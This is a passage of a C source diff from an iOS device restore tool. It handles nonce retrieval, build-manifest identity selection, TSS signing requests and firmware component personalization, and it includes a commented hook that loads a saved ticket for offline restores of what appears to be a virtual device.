+ res = normal_is_image4_supported(client);
+ break;
+ case _MODE_RESTORE:
+ res = restore_is_image4_supported(client);
+ break;
+ case _MODE_DFU:
+ res = dfu_is_image4_supported(client);
+ break;
+ case _MODE_RECOVERY:
+ res = recovery_is_image4_supported(client);
+ break;
+ default:
+ logger(LL_ERROR, "Device is in an invalid state\n");
+ return 0;
+ }
+ return res;
+}
+
+int get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ int mode = _MODE_UNKNOWN;
+
+ *nonce = NULL;
+ *nonce_size = 0;
+
+ if (client->mode) {
+ mode = client->mode->index;
+ }
+
+ switch (mode) {
+ case _MODE_NORMAL:
+ logger(LL_INFO, "Getting ApNonce in Normal mode... ");
+ if (normal_get_ap_nonce(client, nonce, nonce_size) < 0) {
+ logger(LL_INFO, "failed\n");
+ return -1;
+ }
+ break;
+ case _MODE_DFU:
+ logger(LL_INFO, "Getting ApNonce in DFU mode... ");
+ if (dfu_get_ap_nonce(client, nonce, nonce_size) < 0) {
+ logger(LL_INFO, "failed\n");
+ return -1;
+ }
+ break;
+ case _MODE_RECOVERY:
+ logger(LL_INFO, "Getting ApNonce in Recovery mode... ");
+ if (recovery_get_ap_nonce(client, nonce, nonce_size) < 0) {
+ logger(LL_INFO, "failed\n");
+ return -1;
+ }
+ break;
+
+ default:
+ logger(LL_INFO, "Getting ApNonce failed\n");
+ logger(LL_ERROR, "Device is in an invalid state\n");
+ return -1;
+ }
+
+ logger_dump_hex(LL_INFO, *nonce, *nonce_size);
+
+ return 0;
+}
+
+int get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ int mode = _MODE_UNKNOWN;
+
+ *nonce = NULL;
+ *nonce_size = 0;
+
+ if (client->mode) {
+ mode = client->mode->index;
+ }
+
+ switch (mode) {
+ case _MODE_NORMAL:
+ logger(LL_INFO, "Getting SepNonce in normal mode... ");
+ if (normal_get_sep_nonce(client, nonce, nonce_size) < 0) {
+ logger(LL_INFO, "failed\n");
+ return -1;
+ }
+ break;
+ case _MODE_DFU:
+ logger(LL_INFO, "Getting SepNonce in dfu mode... ");
+ if (dfu_get_sep_nonce(client, nonce, nonce_size) < 0) {
+ logger(LL_INFO, "failed\n");
+ return -1;
+ }
+ break;
+ case _MODE_RECOVERY:
+ logger(LL_INFO, "Getting SepNonce in recovery mode... ");
+ if (recovery_get_sep_nonce(client, nonce, nonce_size) < 0) {
+ logger(LL_INFO, "failed\n");
+ return -1;
+ }
+ break;
+
+ default:
+ logger(LL_INFO, "Getting SepNonce failed\n");
+ logger(LL_ERROR, "Device is in an invalid state\n");
+ return -1;
+ }
+
+ logger_dump_hex(LL_INFO, *nonce, *nonce_size);
+
+ return 0;
+}
+
+plist_t build_manifest_get_build_identity_for_model_with_variant(plist_t build_manifest, const char *hardware_model, const char *variant, int exact)
+{
+ plist_t build_identities_array = plist_dict_get_item(build_manifest, "BuildIdentities");
+ if (!build_identities_array || plist_get_node_type(build_identities_array) != PLIST_ARRAY) {
+ logger(LL_ERROR, "Unable to find build identities node\n");
+ return NULL;
+ }
+
+ uint32_t i;
+ for (i = 0; i < plist_array_get_size(build_identities_array); i++) {
+ plist_t ident = plist_array_get_item(build_identities_array, i);
+ if (!ident || plist_get_node_type(ident) != PLIST_DICT) {
+ continue;
+ }
+ plist_t info_dict = plist_dict_get_item(ident, "Info");
+ if (!info_dict || plist_get_node_type(ident) != PLIST_DICT) {
+ continue;
+ }
+ plist_t devclass = plist_dict_get_item(info_dict, "DeviceClass");
+ if (!devclass || plist_get_node_type(devclass) != PLIST_STRING) {
+ continue;
+ }
+ const char *str = plist_get_string_ptr(devclass, NULL);
+ if (strcasecmp(str, hardware_model) != 0) {
+ continue;
+ }
+ if (variant) {
+ plist_t rvariant = plist_dict_get_item(info_dict, "Variant");
+ if (!rvariant || plist_get_node_type(rvariant) != PLIST_STRING) {
+ continue;
+ }
+ str = plist_get_string_ptr(rvariant, NULL);
+ if (strcmp(str, variant) != 0) {
+ /* if it's not a full match, let's try a partial match, but ignore "*Research*" */
+ if (!exact && strstr(str, variant) && !strstr(str, "Research")) {
+ return ident;
+ }
+ continue;
+ } else {
+ return ident;
+ }
+ } else {
+ return ident;
+ }
+ }
+
+ return NULL;
+}
+
+plist_t build_manifest_get_build_identity_for_model(plist_t build_manifest, const char *hardware_model)
+{
+ return build_manifest_get_build_identity_for_model_with_variant(build_manifest, hardware_model, NULL, 0);
+}
+
+int get_preboard_manifest(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* manifest)
+{
+ plist_t request = NULL;
+ *manifest = NULL;
+
+ if (!client->image4supported) {
+ return -1;
+ }
+
+ /* populate parameters */
+ plist_t parameters = plist_new_dict();
+
+ plist_t overrides = plist_new_dict();
+ plist_dict_set_item(overrides, "@APTicket", plist_new_bool(1));
+ plist_dict_set_item(overrides, "ApProductionMode", plist_new_uint(0));
+ plist_dict_set_item(overrides, "ApSecurityDomain", plist_new_uint(1));
+
+ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(0));
+ plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(0));
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1));
+
+ tss_parameters_add_from_manifest(parameters, build_identity, true);
+
+ /* create basic request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create TSS request\n");
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add common tags from manifest */
+ if (tss_request_add_common_tags(request, parameters, overrides) < 0) {
+ logger(LL_ERROR, "Unable to add common tags\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ plist_dict_set_item(parameters, "_OnlyFWComponents", plist_new_bool(1));
+
+ /* add tags from manifest */
+ if (tss_request_add_ap_tags(request, parameters, NULL) < 0) {
+ logger(LL_ERROR, "Unable to add ap tags\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ plist_t local_manifest = NULL;
+ int res = img4_create_local_manifest(request, build_identity, &local_manifest);
+
+ *manifest = local_manifest;
+
+ plist_free(request);
+ plist_free(parameters);
+ plist_free(overrides);
+
+ return res;
+}
+
+int get_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss)
+{
+ plist_t request = NULL;
+ plist_t response = NULL;
+ *tss = NULL;
+
+ /* vphone: the only edit to upstream code in this target. An offline
+ restore installs a saved, FULL TSS response here instead of asking
+ Apple; -T/--ticket cannot do that, because it replaces client->tss
+ with a dict holding only ApImg4Ticket and so loses every per-component
+ signature. The hook fires for &client->tss alone and leaves the
+ recovery-OS root ticket request to go out normally. The reasoning, and
+ the line numbers it rests on, are in vphone_restore_bridge.c under
+ "THE OFFLINE TICKET". */
+ extern int vphone_offline_tss_lookup(struct idevicerestore_client_t*, plist_t, plist_t*);
+ if (vphone_offline_tss_lookup(client, build_identity, tss)) {
+ return 0;
+ }
+
+ if ((client->build_major <= 8) || (client->flags & FLAG_CUSTOM)) {
+ logger(LL_ERROR, "checking for local shsh\n");
+
+ /* first check for local copy */
+ char zfn[1024];
+ if (client->version) {
+ if (client->cache_dir) {
+ snprintf(zfn, sizeof(zfn), "%s/shsh/%" PRIu64 "-%s-%s.shsh", client->cache_dir, client->ecid, client->device->product_type, client->version);
+ } else {
+ snprintf(zfn, sizeof(zfn), "shsh/%" PRIu64 "-%s-%s.shsh", client->ecid, client->device->product_type, client->version);
+ }
+ struct stat fst;
+ if (stat(zfn, &fst) == 0) {
+ gzFile zf = gzopen(zfn, "rb");
+ if (zf) {
+ int blen = 0;
+ int readsize = 16384;
+ int bufsize = readsize;
+ char* bin = (char*)malloc(bufsize);
+ char* p = bin;
+ do {
+ int bytes_read = gzread(zf, p, readsize);
+ if (bytes_read < 0) {
+ logger(LL_ERROR, "Error reading gz compressed data\n");
+ exit(EXIT_FAILURE);
+ }
+ blen += bytes_read;
+ if (bytes_read < readsize) {
+ if (gzeof(zf)) {
+ bufsize += bytes_read;
+ break;
+ }
+ }
+ bufsize += readsize;
+ bin = realloc(bin, bufsize);
+ p = bin + blen;
+ } while (!gzeof(zf));
+ gzclose(zf);
+ if (blen > 0) {
+ if (memcmp(bin, "bplist00", 8) == 0) {
+ plist_from_bin(bin, blen, tss);
+ } else {
+ plist_from_xml(bin, blen, tss);
+ }
+ }
+ free(bin);
+ }
+ } else {
+ logger(LL_ERROR, "no local file %s\n", zfn);
+ }
+ } else {
+ logger(LL_ERROR, "No version found?!\n");
+ }
+ }
+
+ if (*tss) {
+ logger(LL_INFO, "Using cached SHSH\n");
+ return 0;
+ } else {
+ logger(LL_INFO, "Trying to fetch new SHSH blob\n");
+ }
+
+ /* populate parameters */
+ plist_t parameters = plist_new_dict();
+ plist_dict_merge(&parameters, client->parameters);
+
+ plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid));
+ if (client->nonce) {
+ plist_dict_set_item(parameters, "ApNonce", plist_new_data((const char*)client->nonce, client->nonce_size));
+ }
+
+ if (!plist_dict_get_item(parameters, "SepNonce")) {
+ unsigned char* sep_nonce = NULL;
+ unsigned int sep_nonce_size = 0;
+ get_sep_nonce(client, &sep_nonce, &sep_nonce_size);
+ if (sep_nonce) {
+ plist_dict_set_item(parameters, "ApSepNonce", plist_new_data((const char*)sep_nonce, sep_nonce_size));
+ free(sep_nonce);
+ }
+ }
+
+ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1));
+ if (client->image4supported) {
+ plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1));
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1));
+ } else {
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0));
+ }
+
+ tss_parameters_add_from_manifest(parameters, build_identity, true);
+
+ /* create basic request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create TSS request\n");
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add common tags from manifest */
+ if (tss_request_add_common_tags(request, parameters, NULL) < 0) {
+ logger(LL_ERROR, "Unable to add common tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add tags from manifest */
+ if (tss_request_add_ap_tags(request, parameters, NULL) < 0) {
+ logger(LL_ERROR, "Unable to add common tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ if (client->image4supported) {
+ /* add personalized parameters */
+ if (tss_request_add_ap_img4_tags(request, parameters) < 0) {
+ logger(LL_ERROR, "Unable to add img4 tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+ } else {
+ /* add personalized parameters */
+ if (tss_request_add_ap_img3_tags(request, parameters) < 0) {
+ logger(LL_ERROR, "Unable to add img3 tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+ }
+
+ if (client->mode == MODE_NORMAL) {
+ /* normal mode; request baseband ticket aswell */
+ plist_t pinfo = NULL;
+ normal_get_firmware_preflight_info(client, &pinfo);
+ if (pinfo) {
+ plist_dict_copy_data(parameters, pinfo, "BbNonce", "Nonce");
+ plist_dict_copy_uint(parameters, pinfo, "BbChipID", "ChipID");
+ plist_dict_copy_uint(parameters, pinfo, "BbGoldCertId", "CertID");
+ plist_dict_copy_data(parameters, pinfo, "BbSNUM", "ChipSerialNo");
+
+ if (plist_dict_get_item(parameters, "BbSNUM")) {
+ /* add baseband parameters */
+ tss_request_add_baseband_tags(request, parameters, NULL);
+
+ plist_dict_copy_uint(parameters, pinfo, "eUICC,ChipID", "EUICCChipID");
+ if (plist_dict_get_uint(parameters, "eUICC,ChipID") >= 5) {
+ plist_dict_copy_data(parameters, pinfo, "eUICC,EID", "EUICCCSN");
+ plist_dict_copy_data(parameters, pinfo, "eUICC,RootKeyIdentifier", "EUICCCertIdentifier");
+ plist_dict_copy_data(parameters, pinfo, "EUICCGoldNonce", NULL);
+ plist_dict_copy_data(parameters, pinfo, "EUICCMainNonce", NULL);
+
+ /* add vinyl parameters */
+ tss_request_add_vinyl_tags(request, parameters, NULL);
+ }
+ }
+ }
+ client->firmware_preflight_info = pinfo;
+ pinfo = NULL;
+
+ normal_get_preflight_info(client, &pinfo);
+ client->preflight_info = pinfo;
+ }
+
+ /* send request and grab response */
+ response = tss_request_send(request, client->tss_url);
+ if (response == NULL) {
+ logger(LL_INFO, "ERROR: Unable to send TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ logger(LL_INFO, "Received SHSH blobs\n");
+
+ plist_free(request);
+ plist_free(parameters);
+
+ *tss = response;
+
+ return 0;
+}
+
+int get_recoveryos_root_ticket_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss)
+{
+ plist_t request = NULL;
+ plist_t response = NULL;
+ *tss = NULL;
+
+ /* populate parameters */
+ plist_t parameters = plist_new_dict();
+
+ /* ApECID */
+ plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid));
+ plist_dict_set_item(parameters, "Ap,LocalBoot", plist_new_bool(0));
+
+ /* ApNonce */
+ if (client->nonce) {
+ plist_dict_set_item(parameters, "ApNonce", plist_new_data((const char*)client->nonce, client->nonce_size));
+ }
+ unsigned char* sep_nonce = NULL;
+ unsigned int sep_nonce_size = 0;
+ get_sep_nonce(client, &sep_nonce, &sep_nonce_size);
+
+ /* ApSepNonce */
+ if (sep_nonce) {
+ plist_dict_set_item(parameters, "ApSepNonce", plist_new_data((const char*)sep_nonce, sep_nonce_size));
+ free(sep_nonce);
+ }
+
+ /* ApProductionMode */
+ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1));
+
+ /* ApSecurityMode */
+ if (client->image4supported) {
+ plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1));
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1));
+ } else {
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0));
+ }
+
+ tss_parameters_add_from_manifest(parameters, build_identity, true);
+
+ /* create basic request */
+ /* Adds @HostPlatformInfo, @VersionInfo, @UUID */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create TSS request\n");
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add common tags from manifest */
+ /* Adds Ap,OSLongVersion, ApNonce, @ApImg4Ticket */
+ if (tss_request_add_ap_img4_tags(request, parameters) < 0) {
+ logger(LL_ERROR, "Unable to add AP IMG4 tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add AP tags from manifest */
+ if (tss_request_add_common_tags(request, parameters, NULL) < 0) {
+ logger(LL_ERROR, "Unable to add common tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add AP tags from manifest */
+ /* Fills digests & co */
+ if (tss_request_add_ap_recovery_tags(request, parameters, NULL) < 0) {
+ logger(LL_ERROR, "Unable to add common tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* send request and grab response */
+ response = tss_request_send(request, client->tss_url);
+ if (response == NULL) {
+ logger(LL_INFO, "ERROR: Unable to send TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+ // request_add_ap_tags
+
+ logger(LL_INFO, "Received SHSH blobs\n");
+
+ plist_free(request);
+ plist_free(parameters);
+
+ *tss = response;
+
+ return 0;
+}
+
+int get_recovery_os_local_policy_tss_response(
+ struct idevicerestore_client_t* client,
+ plist_t build_identity,
+ plist_t* tss,
+ plist_t args)
+{
+ plist_t request = NULL;
+ plist_t response = NULL;
+ *tss = NULL;
+
+ /* populate parameters */
+ plist_t parameters = plist_new_dict();
+ plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid));
+ plist_dict_set_item(parameters, "Ap,LocalBoot", plist_new_bool(1));
+
+ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1));
+ if (client->image4supported) {
+ plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1));
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1));
+ } else {
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0));
+ }
+
+ tss_parameters_add_from_manifest(parameters, build_identity, true);
+
+ // Add Ap,LocalPolicy
+ uint8_t digest[SHA384_DIGEST_LENGTH];
+ sha384(lpol_file, lpol_file_length, digest);
+ plist_t lpol = plist_new_dict();
+ plist_dict_set_item(lpol, "Digest", plist_new_data((char*)digest, SHA384_DIGEST_LENGTH));
+ plist_dict_set_item(lpol, "Trusted", plist_new_bool(1));
+ plist_dict_set_item(parameters, "Ap,LocalPolicy", lpol);
+
+ plist_dict_copy_data(parameters, args, "Ap,NextStageIM4MHash", NULL);
+ plist_dict_copy_data(parameters, args, "Ap,RecoveryOSPolicyNonceHash", NULL);
+
+ plist_t vol_uuid_node = plist_dict_get_item(args, "Ap,VolumeUUID");
+ char* vol_uuid_str = NULL;
+ plist_get_string_val(vol_uuid_node, &vol_uuid_str);
+ unsigned int vuuid[16];
+ unsigned char vol_uuid[16];
+ if (sscanf(vol_uuid_str, "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x", &vuuid[0], &vuuid[1], &vuuid[2], &vuuid[3], &vuuid[4], &vuuid[5], &vuuid[6], &vuuid[7], &vuuid[8], &vuuid[9], &vuuid[10], &vuuid[11], &vuuid[12], &vuuid[13], &vuuid[14], &vuuid[15]) != 16) {
+ logger(LL_ERROR, "Failed to parse Ap,VolumeUUID (%s)\n", vol_uuid_str);
+ free(vol_uuid_str);
+ return -1;
+ }
+ free(vol_uuid_str);
+ int i;
+ for (i = 0; i < 16; i++) {
+ vol_uuid[i] = (unsigned char)vuuid[i];
+ }
+ plist_dict_set_item(parameters, "Ap,VolumeUUID", plist_new_data((char*)vol_uuid, 16));
+
+ /* create basic request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create TSS request\n");
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add common tags from manifest */
+ if (tss_request_add_local_policy_tags(request, parameters) < 0) {
+ logger(LL_ERROR, "Unable to add common tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* send request and grab response */
+ response = tss_request_send(request, client->tss_url);
+ if (response == NULL) {
+ logger(LL_INFO, "ERROR: Unable to send TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ logger(LL_INFO, "Received SHSH blobs\n");
+
+ plist_free(request);
+ plist_free(parameters);
+
+ *tss = response;
+
+ return 0;
+}
+
+int get_local_policy_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss)
+{
+ plist_t request = NULL;
+ plist_t response = NULL;
+ *tss = NULL;
+
+ /* populate parameters */
+ plist_t parameters = plist_new_dict();
+ plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid));
+ plist_dict_set_item(parameters, "Ap,LocalBoot", plist_new_bool(0));
+ if (client->nonce) {
+ plist_dict_set_item(parameters, "ApNonce", plist_new_data((const char*)client->nonce, client->nonce_size));
+ }
+ unsigned char* sep_nonce = NULL;
+ unsigned int sep_nonce_size = 0;
+ get_sep_nonce(client, &sep_nonce, &sep_nonce_size);
+
+ if (sep_nonce) {
+ plist_dict_set_item(parameters, "ApSepNonce", plist_new_data((const char*)sep_nonce, sep_nonce_size));
+ free(sep_nonce);
+ }
+
+ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1));
+ if (client->image4supported) {
+ plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1));
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1));
+ } else {
+ plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0));
+ }
+
+ tss_parameters_add_from_manifest(parameters, build_identity, true);
+
+ // Add Ap,LocalPolicy
+ uint8_t digest[SHA384_DIGEST_LENGTH];
+ sha384(lpol_file, lpol_file_length, digest);
+ plist_t lpol = plist_new_dict();
+ plist_dict_set_item(lpol, "Digest", plist_new_data((char*)digest, SHA384_DIGEST_LENGTH));
+ plist_dict_set_item(lpol, "Trusted", plist_new_bool(1));
+ plist_dict_set_item(parameters, "Ap,LocalPolicy", lpol);
+
+ // Add Ap,NextStageIM4MHash
+ // Get previous TSS ticket
+ uint8_t* ticket = NULL;
+ uint32_t ticket_length = 0;
+ tss_response_get_ap_img4_ticket(client->tss, &ticket, &ticket_length);
+ // Hash it and add it as Ap,NextStageIM4MHash
+ uint8_t hash[SHA384_DIGEST_LENGTH];
+ sha384(ticket, ticket_length, hash);
+ plist_dict_set_item(parameters, "Ap,NextStageIM4MHash", plist_new_data((char*)hash, SHA384_DIGEST_LENGTH));
+
+ /* create basic request */
+ request = tss_request_new(NULL);
+ if (request == NULL) {
+ logger(LL_ERROR, "Unable to create TSS request\n");
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* add common tags from manifest */
+ if (tss_request_add_local_policy_tags(request, parameters) < 0) {
+ logger(LL_ERROR, "Unable to add common tags to TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ /* send request and grab response */
+ response = tss_request_send(request, client->tss_url);
+ if (response == NULL) {
+ logger(LL_INFO, "ERROR: Unable to send TSS request\n");
+ plist_free(request);
+ plist_free(parameters);
+ return -1;
+ }
+
+ logger(LL_INFO, "Received SHSH blobs\n");
+
+ plist_free(request);
+ plist_free(parameters);
+
+ *tss = response;
+
+ return 0;
+}
+
+void fixup_tss(plist_t tss)
+{
+ plist_t node;
+ plist_t node2;
+ node = plist_dict_get_item(tss, "RestoreLogo");
+ if (node && (plist_get_node_type(node) == PLIST_DICT) && (plist_dict_get_size(node) == 0)) {
+ node2 = plist_dict_get_item(tss, "AppleLogo");
+ if (node2 && (plist_get_node_type(node2) == PLIST_DICT)) {
+ plist_dict_remove_item(tss, "RestoreLogo");
+ plist_dict_set_item(tss, "RestoreLogo", plist_copy(node2));
+ }
+ }
+ node = plist_dict_get_item(tss, "RestoreDeviceTree");
+ if (node && (plist_get_node_type(node) == PLIST_DICT) && (plist_dict_get_size(node) == 0)) {
+ node2 = plist_dict_get_item(tss, "DeviceTree");
+ if (node2 && (plist_get_node_type(node2) == PLIST_DICT)) {
+ plist_dict_remove_item(tss, "RestoreDeviceTree");
+ plist_dict_set_item(tss, "RestoreDeviceTree", plist_copy(node2));
+ }
+ }
+ node = plist_dict_get_item(tss, "RestoreKernelCache");
+ if (node && (plist_get_node_type(node) == PLIST_DICT) && (plist_dict_get_size(node) == 0)) {
+ node2 = plist_dict_get_item(tss, "KernelCache");
+ if (node2 && (plist_get_node_type(node2) == PLIST_DICT)) {
+ plist_dict_remove_item(tss, "RestoreKernelCache");
+ plist_dict_set_item(tss, "RestoreKernelCache", plist_copy(node2));
+ }
+ }
+}
+
+int build_manifest_get_identity_count(plist_t build_manifest)
+{
+ // fetch build identities array from BuildManifest
+ plist_t build_identities_array = plist_dict_get_item(build_manifest, "BuildIdentities");
+ if (!build_identities_array || plist_get_node_type(build_identities_array) != PLIST_ARRAY) {
+ logger(LL_ERROR, "Unable to find build identities node\n");
+ return -1;
+ }
+ return plist_array_get_size(build_identities_array);
+}
+
+int extract_component(ipsw_archive_t ipsw, const char* path, void** component_data, size_t* component_size)
+{
+ char* component_name = NULL;
+ if (!ipsw || !path || !component_data || !component_size) {
+ return -1;
+ }
+
+ component_name = strrchr(path, '/');
+ if (component_name != NULL)
+ component_name++;
+ else
+ component_name = (char*) path;
+
+ logger(LL_INFO, "Extracting %s (%s)...\n", component_name, path);
+ if (ipsw_extract_to_memory(ipsw, path, component_data, component_size) < 0) {
+ logger(LL_ERROR, "Unable to extract %s from %s\n", component_name, ipsw->path);
+ return -1;
+ }
+
+ return 0;
+}
+
+int personalize_component(struct idevicerestore_client_t* client, const char *component_name, const void* component_data, size_t component_size, plist_t tss_response, void** personalized_component, size_t* personalized_component_size)
+{
+ void* component_blob = NULL;
+ void* stitched_component = NULL;
+ size_t stitched_component_size = 0;
+
+ if (tss_response && plist_dict_get_item(tss_response, "ApImg4Ticket")) {
+ /* stitch ApImg4Ticket into IMG4 file */
+ img4_stitch_component(component_name, component_data, component_size, client->parameters, tss_response, &stitched_component, &stitched_component_size);
+ } else {
+ /* try to get blob for current component from tss response */
+ if (tss_response && tss_response_get_blob_by_entry(tss_response, component_name, (unsigned char**)&component_blob) < 0) {
+ logger(LL_DEBUG, "NOTE: No SHSH blob found for component %s\n", component_name);
+ }
+
+ if (component_blob != NULL) {
+ if (img3_stitch_component(component_name, component_data, component_size, component_blob, 64, &stitched_component, &stitched_component_size) < 0) {
+ logger(LL_ERROR, "Unable to replace %s IMG3 signature\n", component_name);
+ free(component_blob);
+ return -1;
+ }
+ } else {
+ logger(LL_INFO, "Not personalizing component %s...\n", component_name);
+ stitched_component = (unsigned char*)malloc(component_size);
+ if (stitched_component) {
+ stitched_component_size = component_size;
+ memcpy(stitched_component, component_data, component_size);
+ }
+ }
+ }
+ free(component_blob);
+
+ if (client->flags & FLAG_KEEP_PERS) {
+ write_file(component_name, stitched_component, stitched_component_size);
+ }
+
+ *personalized_component = stitched_component;
+ *personalized_component_size = stitched_component_size;
+ return 0;
+}
+
+int build_manifest_check_compatibility(plist_t build_manifest, const char* product)
+{
+ int res = -1;
+ plist_t node = plist_dict_get_item(build_manifest, "SupportedProductTypes");
+ if (!node || (plist_get_node_type(node) != PLIST_ARRAY)) {
+ logger(LL_DEBUG, "%s: ERROR: SupportedProductTypes key missing\n", __func__);
+ logger(LL_DEBUG, "%s: WARNING: If attempting to install iPhoneOS 2.x, be advised that Restore.plist does not contain the\n", __func__);
+ logger(LL_DEBUG, "%s: WARNING: key 'SupportedProductTypes'. Recommendation is to manually add it to the Restore.plist.\n", __func__);
+ return -1;
+ }
+ uint32_t pc = plist_array_get_size(node);
+ uint32_t i;
+ for (i = 0; i < pc; i++) {
+ plist_t prod = plist_array_get_item(node, i);
+ if (plist_get_node_type(prod) == PLIST_STRING) {
+ char *val = NULL;
+ plist_get_string_val(prod, &val);
+ if (val && (strcmp(val, product) == 0)) {
+ res = 0;
+ free(val);
+ break;
+ }
+ }
+ }
+ return res;
+}
+
+void build_manifest_get_version_information(plist_t build_manifest, struct idevicerestore_client_t* client)
+{
+ plist_t node = NULL;
+ client->version = NULL;
+ client->build = NULL;
+
+ node = plist_dict_get_item(build_manifest, "ProductVersion");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_ERROR, "Unable to find ProductVersion node\n");
+ return;
+ }
+ plist_get_string_val(node, &client->version);
+
+ node = plist_dict_get_item(build_manifest, "ProductBuildVersion");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_ERROR, "Unable to find ProductBuildVersion node\n");
+ return;
+ }
+ plist_get_string_val(node, &client->build);
+
+ client->build_major = strtoul(client->build, NULL, 10);
+}
+
+void build_identity_print_information(plist_t build_identity)
+{
+ char* value = NULL;
+ plist_t info_node = NULL;
+ plist_t node = NULL;
+
+ info_node = plist_dict_get_item(build_identity, "Info");
+ if (!info_node || plist_get_node_type(info_node) != PLIST_DICT) {
+ logger(LL_ERROR, "Unable to find Info node\n");
+ return;
+ }
+
+ node = plist_dict_get_item(info_node, "Variant");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_ERROR, "Unable to find Variant node\n");
+ return;
+ }
+ plist_get_string_val(node, &value);
+
+ logger(LL_INFO, "Variant: %s\n", value);
+
+ if (strstr(value, RESTORE_VARIANT_UPGRADE_INSTALL))
+ logger(LL_INFO, "This restore will update the device without erasing user data.\n");
+ else if (strstr(value, RESTORE_VARIANT_ERASE_INSTALL))
+ logger(LL_INFO, "This restore will erase all device data.\n");
+ else
+ logger(LL_INFO, "Unknown Variant '%s'\n", value);
+
+ free(value);
+
+ info_node = NULL;
+ node = NULL;
+}
+
+int build_identity_check_components_in_ipsw(plist_t build_identity, ipsw_archive_t ipsw)
+{
+ plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest");
+ if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) {
+ return -1;
+ }
+ int res = 0;
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(manifest_node, &iter);
+ plist_t node = NULL;
+ char *key = NULL;
+ do {
+ node = NULL;
+ key = NULL;
+ plist_dict_next_item(manifest_node, iter, &key, &node);
+ if (key && node) {
+ plist_t path = plist_access_path(node, 2, "Info", "Path");
+ if (path) {
+ char *comp_path = NULL;
+ plist_get_string_val(path, &comp_path);
+ if (comp_path) {
+ if (!ipsw_file_exists(ipsw, comp_path)) {
+ logger(LL_ERROR, "%s file %s not found in IPSW\n", key, comp_path);
+ res = -1;
+ }
+ free(comp_path);
+ }
+ }
+ }
+ free(key);
+ } while (node);
+ return res;
+}
+
+int build_identity_has_component(plist_t build_identity, const char* component)
+{
+ plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest");
+ if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) {
+ return 0;
+ }
+
+ plist_t component_node = plist_dict_get_item(manifest_node, component);
+ if (!component_node || plist_get_node_type(component_node) != PLIST_DICT) {
+ return 0;
+ }
+
+ return 1;
+}
+
+int build_identity_get_component_path(plist_t build_identity, const char* component, char** path)
+{
+ char* filename = NULL;
+
+ plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest");
+ if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) {
+ logger(LL_ERROR, "Unable to find manifest node\n");
+ if (filename)
+ free(filename);
+ return -1;
+ }
+
